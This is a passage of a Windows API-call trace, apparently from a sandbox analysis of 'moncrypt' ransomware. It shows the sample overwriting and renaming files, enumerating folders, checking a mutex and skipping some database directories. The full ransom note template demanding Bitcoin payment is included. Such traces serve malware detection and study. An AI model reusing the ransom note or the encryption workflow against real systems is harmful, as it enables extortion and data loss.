[0053.043] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.043] GlobalUnlock (hMem=0x440004) returned 0 [0053.043] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.043] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.043] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.043] SetFilePointer (in: hFile=0x18c, lDistanceToMove=31975, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7ce7 [0053.043] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.043] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.043] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.054] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.054] CloseHandle (hObject=0x18c) returned 1 [0053.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.055] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.056] CloseHandle (hObject=0x18c) returned 1 [0053.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0053.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.056] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.056] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.056] GlobalUnlock (hMem=0x440004) returned 0 [0053.056] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.056] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.056] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.056] GlobalUnlock (hMem=0x440004) returned 0 [0053.056] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.056] GlobalUnlock (hMem=0x44000c) returned 0 [0053.056] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ccda20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40ccda20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40ccda20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0053.057] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0053.057] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0053.057] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.057] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.057] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0053.057] CloseHandle (hObject=0x18c) returned 1 [0053.057] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.058] GetLastError () returned 0x12 [0053.058] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.058] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.058] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.058] GlobalUnlock (hMem=0x44000c) returned 0 [0053.058] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.058] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.058] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.058] GlobalUnlock (hMem=0x44000c) returned 0 [0053.058] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.058] GlobalUnlock (hMem=0x440004) returned 0 [0053.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40ccda20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40ccda20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.058] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.058] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.059] GlobalLock (hMem=0x440004) returned 0x550170 [0053.059] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.059] GlobalUnlock (hMem=0x440004) returned 0 [0053.059] GlobalLock (hMem=0x440004) returned 0x550170 [0053.059] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.059] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.059] GlobalUnlock (hMem=0x440004) returned 0 [0053.059] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.059] GlobalUnlock (hMem=0x44000c) returned 0 [0053.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.059] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40ccda20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40ccda20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.059] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.059] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.059] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.059] GlobalUnlock (hMem=0x44000c) returned 0 [0053.059] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.059] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.059] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.059] GlobalUnlock (hMem=0x44000c) returned 0 [0053.059] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.059] GlobalUnlock (hMem=0x440004) returned 0 [0053.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.059] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ccda20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40ccda20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40ccda20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0053.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.059] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.059] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.059] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.059] GlobalUnlock (hMem=0x440004) returned 0 [0053.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.060] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.060] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.060] GlobalUnlock (hMem=0x440004) returned 0 [0053.060] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.060] GlobalUnlock (hMem=0x44000c) returned 0 [0053.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.060] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.060] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.060] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.060] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.060] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.060] GlobalUnlock (hMem=0x44000c) returned 0 [0053.060] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.060] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.060] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.060] GlobalUnlock (hMem=0x44000c) returned 0 [0053.060] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.060] GlobalUnlock (hMem=0x440004) returned 0 [0053.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.060] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x102a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM.moncrypt", cAlternateFileName="RIPPLE~1.MON")) returned 1 [0053.060] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.060] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.060] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.060] GlobalUnlock (hMem=0x440004) returned 0 [0053.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.060] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.061] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.061] GlobalUnlock (hMem=0x440004) returned 0 [0053.061] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.061] GlobalUnlock (hMem=0x44000c) returned 0 [0053.061] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.061] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0053.061] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.061] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.061] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.061] GlobalUnlock (hMem=0x44000c) returned 0 [0053.061] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.061] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.061] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.061] GlobalUnlock (hMem=0x44000c) returned 0 [0053.061] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.061] GlobalUnlock (hMem=0x440004) returned 0 [0053.061] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.061] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0053.061] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.061] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.061] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.061] GlobalUnlock (hMem=0x440004) returned 0 [0053.061] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.061] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.061] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.061] GlobalUnlock (hMem=0x440004) returned 0 [0053.061] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.061] GlobalUnlock (hMem=0x44000c) returned 0 [0053.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0053.062] GetLastError () returned 0x12 [0053.062] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.062] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0053.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0053.062] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0053.062] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.062] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.062] GlobalUnlock (hMem=0x44000c) returned 0 [0053.062] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.062] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.062] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.062] GlobalUnlock (hMem=0x44000c) returned 0 [0053.062] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.062] GlobalUnlock (hMem=0x440004) returned 0 [0053.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.063] GlobalLock (hMem=0x440004) returned 0x550170 [0053.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.063] GlobalUnlock (hMem=0x440004) returned 0 [0053.063] GlobalLock (hMem=0x440004) returned 0x550170 [0053.063] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.063] GlobalUnlock (hMem=0x440004) returned 0 [0053.063] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.063] GlobalUnlock (hMem=0x44000c) returned 0 [0053.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.063] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE") returned 1 [0053.063] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.063] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.063] GlobalUnlock (hMem=0x44000c) returned 0 [0053.063] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.063] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.063] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.063] GlobalUnlock (hMem=0x44000c) returned 0 [0053.063] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.063] GlobalUnlock (hMem=0x440004) returned 0 [0053.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟐRꞤR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0053.064] GetLastError () returned 0x3 [0053.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0053.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0053.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0053.065] GetLastError () returned 0x2 [0053.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\") returned 0x40 [0053.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0053.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, 